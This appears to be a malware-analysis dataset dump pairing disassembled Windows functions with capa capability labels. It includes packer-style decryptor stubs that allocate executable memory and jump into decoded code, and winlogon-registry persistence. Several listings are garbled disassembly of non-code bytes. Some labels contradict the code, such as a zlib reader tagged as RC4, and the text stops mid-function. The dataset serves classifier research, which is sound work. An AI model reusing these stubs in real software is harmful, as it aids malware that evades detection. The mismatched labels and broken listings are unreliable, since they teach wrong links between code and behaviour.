joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46d0a8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [esi + 8]
and edi, 7
je 0x46d0cc
cmp dword [esi + 8], edi
jge 0x46d0c4
push esi
call fcn.0046b3a1
pop ecx
mov ecx, edi
shr dword [esi + 0xc], cl
sub dword [esi + 8], edi
mov ecx, dword [esi + 8]
xor edx, edx
test ecx, ecx
jle 0x46d0f2
mov edi, dword [esi + 0xc]
mov al, byte [esi + 0xc]
sub ecx, 8
mov byte [ebp + edx + 8], al
inc edx
shr edi, 8
mov dword [esi + 0xc], edi
test ecx, ecx
jg 0x46d0d8
mov dword [esi + 8], ecx
jmp 0x46d10a
mov eax, dword [esi]
cmp eax, dword [esi + 4]
jb 0x46d0fd
xor eax, eax
jmp 0x46d105
mov cl, byte [eax]
inc eax
mov dword [esi], eax
movzx eax, cl
mov byte [ebp + edx + 8], al
inc edx
cmp edx, 4
jl 0x46d0f2
mov eax, dword [ebp + 8]
movzx ecx, byte [ebp + 0xb]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp + 0xa]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
je 0x46d144
push str.zlib_corrupt
call fcn.0046b25c
add esp, 4
jmp 0x46d181
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
jbe 0x46d154
push str.read_past_buffer
jmp 0x46d13a
mov eax, dword [esi + 0x10]
add eax, edi
cmp eax, dword [esi + 0x18]
jbe 0x46d16b
push edi
push esi
call fcn.0046b26b
pop ecx
pop ecx
test eax, eax
je 0x46d181
push edi
push dword [esi]
push dword [esi + 0x10]
call fcn.0041fe40
add dword [esi], edi
xor eax, eax
add dword [esi + 0x10], edi
add esp, 0xc
inc eax
pop edi
pop esi
pop ebp
ret

Function at 0x477000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x401d20
Capabilities:
Set registry value

Disassembly:
sub esp, 8
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [esp + 4]
push edi
push eax
push 0x2001f
push 0
push 0x405780
push closesocket
mov dword [esp + 0x20], 0
call esi
mov edx, dword [esp + 8]
mov edi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0xc]
push 4
push ecx
push 4
push 0
push 0x405770
push edx
call edi
lea eax, [esp + 8]
push eax
push 0x2001f
push 0
push 0x405734
push closesocket
call esi
mov edx, dword [esp + 8]
lea ecx, [esp + 0xc]
push 4
push ecx
push 4
push 0
push 0x405724
push edx
call edi
mov eax, dword [esp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
add esp, 8
ret
Function at 0x403cf0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x118
lea ecx, [esp + 4]
push edi
push eax
push 0x40595c
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 4]
push edx
push 0x20006
push 0
push 0x405924
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edi, [esp + 8]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [esp + 8]
push ecx
mov ecx, dword [esp + 8]
push eax
push 1
push 0
push 0x40591c
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
add esp, 0x118
ret
Function at 0x402060
Capabilities:
Encode data using xor

Disassembly:
mov dl, byte [eax - 0x7e1374ab]
in al, dx
mov esp, 0x8b024100
inc ebp
or byte [ecx - 0x17078b38], ah
push ebp
mov ebp, esp
sub esp, 0x24100bc
mov eax, dword [ebp + 8]
mov eax, dword [0xe8f874c8]
mov ecx, dword [ecx]
add byte [ebx + 0x4117a0], ah
mov dword [0x410ba4], edx
mov dl, pe_nt_image_headers32
mov edx, dword [0x120ba4]
mov eax, dword [0x410ba0]
pop ss
inc ecx
add byte [ecx + 0x410ba415], cl
add byte [edx - 0x5bea7418], dh
or edx, dword [edx]
add byte [ecx + 0x410ba0], ah
push ebx
mov edx, ecx
sal byte [ebx], 0x41
rcl dword [esi + 0x57]
mov edi, dword [0xf7410bc9]
xor al, 0xf8
jecxz 0x402077
mov dword [ebp - 0x28], eax
mov eax, esi
fmul qword [ebx - 0x153e9bcb]
add bh, bl
insd dword es:[edi], dx
mov al, 0xd9
mov ah, 0xdf
inc eax
pop edx
fmul qword [0x402538]
fstp qword [ebp - 0x30]
call esi
push 0x4113e0
loopne 0x4020d5
inc ecx
add al, ah
cwde
sti
inc eax
add bh, bh
salc
mov eax, dword [0x69411800]
push eax
jl 0x402117
add bh, bh
salc
push 0xc78b66c9
hlt
add byte [ecx - 0x64], dl
inc eax
fild word [eax]
call esi
mov edx, dword [ebp - 0x70]
mov eax, dword [eax - 0x75afad30]
xchg esp, eax
fiadd word [eax + 0x2f]
call esi
mov ecx, dword [0x4102ac]
add esp, 0x48
push ecx
push str.Complete_requests:_______d_n
call esi
xor edx, dword [0x9b4102b8]
inc esi
push 0x15de7d
call esi
mov eax, dword [0x4102b8]
sbb dword [ecx], 0x10
test eax, eax
je 0x40217e
mov eax, dword [0x41023a]
mov ecx, dword [0x4153a2]
enter 0xffffffffffffc815, 2
push 0
push eax
mov eax, dword [0xef4102c4]
add byte [eax - 0x5f], dl
les eax, [edx]
inc ecx
out dx, eax
push ecx
push edx
jge 0x4021dd
add byte fs:[eax - 0x79], al
invalid
mov ecx, dword [0xa5a602bc]
push ecx
push 0x8d40de48
inc ebp
pop ebp
rol byte [edx], 1
inc ecx
add byte [ebx - 0x3f0cba3c], al
je 0x4021a3
push eax
push str.Non_2xx_responses:_______d_n
call esi
xor al, ah
or byte [ecx + 0x410268], ah
mov eax, dword [0x410268]
test eax, eax
je 0x4021bd
inc esi
adc eax, 0xe902b7
push edx
push 0x71de5b
loopne 0x402190
add esp, 8
mov eax, dword [0x9a50245]
mov ecx, dword [0x844102f8]
add ah, byte [ebp - 0x7f274f7]
add al, byte [ecx - 0x7c]
push eax
push ecx
imul al
fld qword [eax]
call esi
mov eax, dword [0x6241cb60]
add esp, 0xc
cmp eax, 1
jge 0x4021bf
loope 0x40216a
mov edx, dword [0x4102a4]
adc eax, 0x4102a4
mov eax, dword [0x4102a0]
push edx
push 0x4017c868
add bh, bh
salc
mov al, byte [0x3d830cc4]
pushal
add al, byte [ecx]
add dh, byte [ebp + 0x5b]
mov edx, ebx
xor byte [ecx - 0x7e74be59], ch
mov al, byte [0x51c04102]
push edx
push 0x3a40dda8
invalid
Function at 0x40a5d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
add bh, bh
salc
add eax, 0x5e6780
pop esi
pop ebp
ljmp 0x9090
mov eax, dword [ebp - 0x2f]
test ebx, ecx
push esi
je 0x40a57a
lea esi, [eax + ecx - 1]
fld st(6)
jae 0x40a577
mov al, byte [0xa8aca55]
test byte [eax - 0x78], cl
stosb byte es:[edi], al
je 0x40a5a6
inc eax
inc edx
cmp eax, esi
jb 0x40a5e0
dec eax
add byte [eax], al
pop esi
jbe 0x40a53f
or al, 0
jmp 0x542d30d9
push edi
mov edi, dword [ebp + 8]
push 0x2f
push edi
call ebx
push 0xffffffffffffff8c
dec esi
retf 0xda51
jne 0x40a58b
push 0xfffffffffffffff7
push edi
push esi
mov esp, dword [edi - 0x7d]
les ecx, [eax]
test esi, esi
je 0x40a5b4
lea eax, [esi + 1]
pop edi
pop esi
pop ebx
pop ebp
ret 4
jb 0x40a556
in al, dx
sub esp, 0x18
push ebx
mov edi, 0x9985105d
push edi
mov dword [ebp - 4], 0
add byte [eax], al
add byte [eax], al
movsb byte es:[edi], byte [esi]
adc ecx, dword [ebx - 0x2445f3bb]
fnstcw word [eax]
add byte [ecx + ecx - 0x75], dh
dec esp
cwde
add al, 0xff
test dword [edi], esi
jne 0x40a5f0
mov ecx, dword [eax + ebx*4 + 4]
inc dword [ebp - 0x75088ac9]
add al, 0xb5
rol dword [eax], 1
add byte [ecx + 0x3c], dh
push eax
mov al, byte [esi*4 + 0x710000d1]
cmp al, 0x50
adc byte [sym.imp.MSVCRT.dll_malloc], 0x83
les eax, [edx + edx*4]
clc
push ss
fisttp dword [ecx + 0x367ecf7d]
mov esi, ebx
or al, 0x9e
imul dword [ebx]
invalid
Function at 0x1000aeb0
Capabilities:
Create process on windows

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
jne 0x1000aeb9
ret
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push dword [esp + 0x28]
push eax
call dword [sym.imp.kernel32.dll_CreateProcessA]
ret

Function at 0x10013c81
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x10013c90
pop dword [ebp - 0x28]
mov eax, 0x9da1be7e
sub eax, 0x8da081ee
sub dword [ebp - 0x28], eax
push 0x40
push 0x1000
push 0x35bd3
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x28]
call dword [eax]
mov ecx, 0x3385
xor edx, edx
add edx, eax
mov edi, 0x403aa440
add edi, 0xcfc83dc0
add edi, dword [ebp - 0x28]
mov esi, 0xecc51fcb
add dword [ebp - 4], 0x41ef046
mov ebx, dword [edi]
sub dword [ebp - 0x10], ecx
sub ebx, esi
xor dword [ebp - 4], edx
mov dword [edx], ebx
add edx, 0x6a063fd
add edx, 0xf95f9c07
add edi, 0xf3040bc1
sub edi, 0xf3040bbd
loop 0x10013ce0
add eax, 0x140c0154
add eax, 0xebf4bf93
mov ebx, eax
add eax, 0xbd1d3ead
add eax, 0x42e2c158
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x2b001859
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x2b03bee0]
jne 0x2b001863
repz ret
jmp fcn.2b02c235

Function at 0x2b003c5c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x2b003c6b
pop dword [ebp - 0x10]
mov eax, 0x2b003c6b
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xe7462c1
add dword [ebp - 0x20], 0x3fdde28a
mov dword [ebp - 0x1c], 0xd3f23f9f
sub dword [ebp - 0x1c], 0xa1bef35a
mov dword [ebp - 0x18], 0xc8ed48a5
sub dword [ebp - 0x18], 0x7ca10477
mov dword [ebp - 0x14], 0xa013a1c6
sub dword [ebp - 0x14], 0xa013a1c6
lea eax, [ebp - 0x20]
push eax
mov eax, 0x53bb9813
sub eax, 0x28b8978f
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x40a6ff6c
add dword [ebp - 0x20], 0x33cb69ea
mov dword [ebp - 0x1c], 0xeb2bdd09
sub dword [ebp - 0x1c], 0xa9bf7b94
mov dword [ebp - 0x18], 0x6a0f843b
sub dword [ebp - 0x18], 0x6a017cf
mov dword [ebp - 0x14], 0xc32a6cfd
add dword [ebp - 0x14], 0x3cd59303
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x49966a0
sub eax, 0xd9966610
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x3f474
push 0
call eax
mov ecx, 0x46763659
add ecx, 0xb98a032b
mov edi, eax
mov edx, 0x2b04ae00
add edx, dword [ebp - 0x10]
mov esi, 0x6eab2323
add esi, 0x1e9b2f1a
sub dword [ebp - 8], 0x6cfef711
mov ebx, dword [edx]
sub dword [ebp - 4], 0x4cb75f5a
sub ebx, esi
xor dword [ebp - 8], edi
mov dword [edi], ebx
mov dword [ebp - 8], 0xd36cf688
add edi, 0xab26313e
add edi, 0x54d9cec6
add edx, 0x2908e1a1
add edx, 0xd6f71e63
loop 0x2b003d82
add eax, 0xd8e3
xor ebx, ebx
add ebx, eax
add eax, 0x2b6cd67f
add eax, 0xd4932986
mov ecx, 0xb0eac0b4
sub ecx, 0x85eac0b4
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x2b004abc
Capabilities:
Create thread

Disassembly:
push esi
push 0
push 0
mov esi, ecx
push esi
push 0x2b004ae4
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [esi + 0x28], eax
test eax, eax
jne 0x2b004ae2
mov ecx, esi
pop esi
jmp fcn.2b004af5
pop esi
ret
Function at 0x1000ecef
Capabilities:
Hash data using djb2

Disassembly:
push esi
mov esi, ecx
test esi, esi
jne 0x1000ecfb
or eax, 0xffffffff
pop esi
ret
movzx eax, word [esi]
push ebx
push edi
mov edi, 0x1505
xor ebx, ebx
jmp 0x1000ed23
movzx ecx, ax
add eax, 0xffffffbf
cmp ax, 0x19
lea edx, [ecx + 0x20]
cmova edx, ecx
imul edi, edi, 0x21
xor edi, edx
inc ebx
movzx eax, word [esi + ebx*2]
test ax, ax
jne 0x1000ed09
imul eax, edi, 0x41c64e6d
imul ecx, edi, 0x10dcd
pop edi
pop ebx
pop esi
add eax, 0x3039
shr eax, 0x10
inc ecx
and ecx, 0xffff0000
or eax, ecx
ret

Function at 0x10019b6c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x10019b7b
pop dword [ebp - 8]
mov eax, 0x10019b7b
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x2bc2a3
add dword [ebp - 0x18], 0x4e2682a8
mov dword [ebp - 0x14], 0x4779d1d8
sub dword [ebp - 0x14], 0x15468593
mov dword [ebp - 0x10], 0xab38a315
add dword [ebp - 0x10], 0xa113a119
mov dword [ebp - 0xc], 0xc0dd1424
sub dword [ebp - 0xc], 0xc0dd1424
lea eax, [ebp - 0x18]
push eax
mov eax, 0x6ea6a428
sub eax, 0x5ea4d320
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0xb891a5fa
sub dword [ebp - 0x18], 0x441f3ca4
mov dword [ebp - 0x14], 0x4a136cbd
sub dword [ebp - 0x14], 0x8a70b48
mov dword [ebp - 0x10], 0xb2666b
add dword [ebp - 0x10], 0x62bd0601
mov dword [ebp - 0xc], 0x3e752168
add dword [ebp - 0xc], 0xc18ade98
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0xdc2ad84d
sub eax, 0xcc290809
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3cc02
push 0
call eax
mov ecx, 0x11db8a5d
add ecx, 0xee24c7a2
xor edx, edx
add edx, eax
mov esi, 0x86974e9d
add esi, 0x896c0163
add esi, dword [ebp - 8]
mov ebx, 0x4daed8eb
sub ebx, 0x6a4e0c1
xor dword [ebp - 4], 0x36b42fc8
mov edi, dword [esi]
add dword [ebp - 4], 0xcac29ae7
sub edi, ebx
add dword [ebp - 4], 0xde3408ab
mov dword [edx], edi
xor dword [ebp - 4], esi
add edx, 0xb8e85114
add edx, 0x4717aef0
add esi, 0x837d364d
add esi, 0x7c82c9b7
loop 0x10019c9a
add eax, 0x13acf
xor ebx, ebx
add ebx, eax
add eax, 0xa202aeb7
add eax, 0x5dfd514e
mov ecx, 0xe6bf527b
sub ecx, 0xd6bf527b
add ecx, dword [ebp - 8]
invalid
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401443
pop dword [ebp - 0x24]
mov eax, 0x401443
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xc749259
sub dword [ebp - 0x34], 0xbe224d0e
mov dword [ebp - 0x30], 0xe5648803
sub dword [ebp - 0x30], 0xb3313bbe
mov dword [ebp - 0x2c], 0xe881989f
sub dword [ebp - 0x2c], 0x9c355471
mov dword [ebp - 0x28], 0x7945174e
add dword [ebp - 0x28], 0x86bae8b2
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x264103f1
sub dword [ebp - 0x34], 0xb1ce9a9b
mov dword [ebp - 0x30], 0x8cba2743
sub dword [ebp - 0x30], 0x4b4dc5ce
mov dword [ebp - 0x2c], 0x8c9e9a27
add dword [ebp - 0x2c], 0xd6d0d245
mov dword [ebp - 0x28], 0x663ab9f0
sub dword [ebp - 0x28], 0x663ab9f0
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xf58288b3
add eax, 0xabdf84d
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x34ce6
push 0
call eax
mov ecx, 0x3a10
mov esi, eax
mov edi, 0x46e400
add edi, dword [ebp - 0x24]
mov edx, 0xa173f28c
add dword [ebp - 0x20], 0x797d245b
mov ebx, dword [edi]
xor dword [ebp - 0x1c], 0xdb41c3b7
xor ebx, edx
sub dword [ebp - 0x14], ecx
mov dword [esi], ebx
add esi, 4
add edi, 4
loop 0x401549
add eax, 0xdb13
mov ebx, eax
add eax, 0xadce1a3
sub eax, 0xadce19e
mov ecx, 0xe0223a96
sub ecx, 0xdfe23a96
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x1003d694
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
or eax, dword [ebp + 8]
je 0x1003d6a5
pop ebp
jmp fcn.100635a0
push 5
call fcn.100649b2
pop ebp
ret 8

Function at 0x10042ae0
Capabilities:
Encode data using xor
Hash data using murmur2

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0xb]
mov esi, dword [eax]
mov edi, dword [eax + 4]
add edi, esi
mov edx, ecx
add edx, eax
test cl, cl
cmovs edx, edi
cmovs eax, esi
sub edx, eax
mov ecx, edx
cmp edx, 4
jb 0x10042b2e
imul esi, dword [eax], 0x5bd1e995
mov edi, esi
shr edi, 0x18
xor edi, esi
imul esi, edi, 0x5bd1e995
imul ecx, ecx, 0x5bd1e995
xor ecx, esi
add eax, 4
add edx, 0xfffffffc
cmp edx, 3
ja 0x10042b08
cmp edx, 1
je 0x10042b4f
cmp edx, 2
je 0x10042b46
cmp edx, 3
jne 0x10042b5a
movzx edx, byte [eax + 2]
shl edx, 0x10
xor ecx, edx
movzx edx, byte [eax + 1]
shl edx, 8
xor ecx, edx
movzx eax, byte [eax]
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xd
xor eax, ecx
imul ecx, eax, 0x5bd1e995
mov eax, ecx
shr eax, 0xf
xor eax, ecx
pop esi
pop edi
pop ebp
ret 4

Function at 0x10043f74
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x804
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [ebp - 0x10], eax
test ecx, ecx
jle 0x10043ffc
mov edi, edx
mov esi, ecx
mov eax, 0x800
lea ebx, [ebp - 0x810]
push eax
push 0xff
push ebx
call fcn.101db130
add esp, 0xc
call fcn.1001f412
mov ecx, dword [eax]
or ecx, 2
push dword [ebp + 8]
push 0
push edi
mov edx, 0x800
push edx
push ebx
push dword [eax + 4]
push ecx
call fcn.101f6a7b
add esp, 0x1c
lea eax, [esi - 1]
cmp eax, 3
ja 0x10043ff5
push dword [esi*4 + 0x10211310]
call fcn.101f6a7b
add esp, 4
push ebx
push 0x10211310
push eax
call fcn.1002c4cc
add esp, 0xc
push ebx
call dword [sym.imp.kernel32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d7611
add esp, 0x804
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x100441a4
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push esi
and esp, 0xfffffff0
sub esp, 0x40
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [esp + 0x30], eax
mov eax, dword [0x102440c0]
mov ecx, dword [0x1028ef04]
mov edx, dword fs:[0x2c]
mov ecx, dword [edx + ecx*4]
cmp eax, dword [ecx + 0x14]
jg 0x100441ef
mov esi, dword [0x102440bc]
mov ecx, dword [esp + 0x30]
xor ecx, ebp
call fcn.101d7611
mov eax, esi
lea esp, [ebp - 4]
pop esi
pop ebp
ret
push 0x102440c0
call fcn.101f6a7b
add esp, 4
cmp dword [0x102440c0], 0xffffffff
jne 0x100441d6
pcmpeqd xmm0, xmm0
mov esi, esp
movdqa xmmword [esi + 0x10], xmm0
movdqa xmmword [esi], xmm0
mov dword [esi + 0x20], 0xffffffff
push esi
call dword [sym.imp.kernel32.dll_GetSystemInfo]
mov eax, dword [esi + 4]
mov dword [0x102440bc], eax
push 0x102440c0
call fcn.101f6a7b
add esp, 4
jmp 0x100441d6
Function at 0x10080fbd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x21c
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [ebp - 0x10], eax
lea edi, [ebp - 0x21c]
push 0x20c
push 0xff
push edi
call fcn.101db130
add esp, 0xc
mov dword [edi - 0xc], edi
mov dword [edi - 8], edi
lea ecx, [ebp - 0x14]
mov dword [edi - 4], ecx
mov eax, 0x104
mov esi, dword [sym.imp.kernel32.dll_GetCurrentDirectoryW]
mov ebx, edi
mov edx, ecx
sub edx, ebx
sar edx, 1
cmp edx, eax
jae 0x1008102c
add eax, eax
lea ecx, [ebp - 0x228]
push 2
push eax
push edi
call fcn.10081f78
mov ebx, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x220]
sub ecx, ebx
sar ecx, 1
push ebx
push ecx
call esi
test eax, eax
je 0x10081070
mov ebx, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x220]
mov edx, ecx
sub edx, ebx
sar edx, 1
cmp eax, edx
ja 0x10081005
lea ecx, [ebx + eax*2]
mov dword [ebp - 0x224], ecx
mov esi, dword [ebp + 8]
mov ecx, esi
mov edx, 0xfde9
push dword [ebp + 0xc]
push eax
push ebx
call fcn.1008153e
add esp, 0xc
jmp 0x10081083
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
mov esi, dword [ebp + 8]
push esi
call fcn.1007f423
add esp, 8
mov eax, dword [ebp - 0x228]
cmp eax, edi
je 0x10081096
push eax
call fcn.101f6a7b
add esp, 4
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.101d7611
mov eax, esi
add esp, 0x21c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10081191
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x160
mov eax, dword [0x10243228]
xor eax, ebp
mov dword [esp + 0x158], eax
lea esi, [esp + 0x54]
push 0x104
push 0xff
push esi
call fcn.101db130
add esp, 0xc
mov dword [esi - 0xc], esi
mov dword [esi - 8], esi
lea eax, [esp + 0x154]
mov dword [esi - 4], eax
xor esi, esi
lea eax, [esp + 0x10]
mov dword [eax + 0x24], esi
mov dword [eax + 0x20], esi
xorps xmm0, xmm0
movaps xmmword [eax + 0x10], xmm0
movaps xmmword [eax], xmm0
mov dword [eax + 0x28], 0xffff
xor edi, edi
dec edi
lea ebx, [esp + 8]
mov dword [ebx], edi
mov dword [ebx + 4], edi
push eax
push dword [ebp + 0xc]
push ebx
call fcn.100807f3
add esp, 0xc
cmp dword [ebx], esi
je 0x1008123a
mov esi, dword [ebp + 8]
call fcn.101ad951
cmp dword [esp + 0xc], eax
jne 0x10081286
cmp dword [esp + 8], 2
jne 0x10081286
cmp byte [ebp + 0x10], 0
je 0x10081286
mov dword [esi], 0
call fcn.101ada37
mov dword [esi + 4], eax
jmp 0x10081290
mov esi, dword [ebp + 8]
mov dword [esi], edi
mov dword [esi + 4], edi
lea eax, [esp + 0x48]
push eax
push dword [ebp + 0xc]
push esi
call fcn.10080c93
add esp, 0xc
cmp dword [esi], 0
lea edi, [esp + 0x54]
jne 0x10081294
cmp dword [esp + 0x34], 3
jne 0x100812bd
mov word [esp + 8], 0
lea ecx, [esp + 0x48]
push ebx
call fcn.10081508
lea eax, [esp + 0x48]
add dword [eax + 4], 0xfffffffe
push dword [eax]
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
jmp 0x100812de
movsd xmm0, qword [esp + 8]
movsd qword [esi], xmm0
lea edi, [esp + 0x54]
mov eax, dword [esp + 0x48]
cmp eax, edi
je 0x100812a5
push eax
call fcn.101f6a7b
add esp, 4
mov ecx, dword [esp + 0x158]
xor ecx, ebp
call fcn.101d7611
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov word [esp + 8], 0
lea ecx, [esp + 0x48]
push ebx
call fcn.10081508
lea eax, [esp + 0x48]
add dword [eax + 4], 0xfffffffe
push dword [eax]
call dword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
jne 0x1008130f
xor eax, eax
dec eax
mov dword [esi], eax
mov dword [esi + 4], eax
call dword [sym.imp.kernel32.dll_GetLastError]
push eax
push esi
call fcn.1007f423
add esp, 8
call fcn.101ad951
cmp dword [esi + 4], eax
jne 0x10081294
cmp dword [esi], 2
jne 0x10081294
cmp byte [ebp + 0x10], 0
je 0x10081294
mov dword [esi], 0
call fcn.101ada37
mov dword [esi + 4], eax
jmp 0x10081294
Function at 0x101f6a7b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x101f6a8a
pop dword [ebp - 0x44]
mov eax, 0xef8bf131
add eax, 0x20937959
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x3025f965
add dword [ebp - 0x54], 0x1e2c4be6
mov dword [ebp - 0x50], 0x17ef7fdd
sub dword [ebp - 0x50], 0xe5bc3398
mov dword [ebp - 0x4c], 0x4e1f0d5f
sub dword [ebp - 0x4c], 0x1d2c931
mov dword [ebp - 0x48], 0xafbcd0bb
add dword [ebp - 0x48], 0x50432f45
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xdcf61394
add dword [ebp - 0x54], 0x977c55c2
mov dword [ebp - 0x50], 0x8159b3bb
sub dword [ebp - 0x50], 0x3fed5246
mov dword [ebp - 0x4c], 0xacce097f
sub dword [ebp - 0x4c], 0x495e9d13
mov dword [ebp - 0x48], 0x54bdca71
sub dword [ebp - 0x48], 0x54bdca71
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0xc1deb811
sub eax, 0xb1bad2f5
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x41252
push 0
call eax
mov ecx, 0x361a
xor esi, esi
add esi, eax
mov edi, 0x7c94b11e
add edi, 0x939594e2
add edi, dword [ebp - 0x44]
mov ebx, 0x30d9c8e1
add ebx, 0xb9f61fc2
add dword [ebp - 0x3c], 0x8cc3b979
mov edx, dword [edi]
sub dword [ebp - 0x3c], ebx
xor edx, ebx
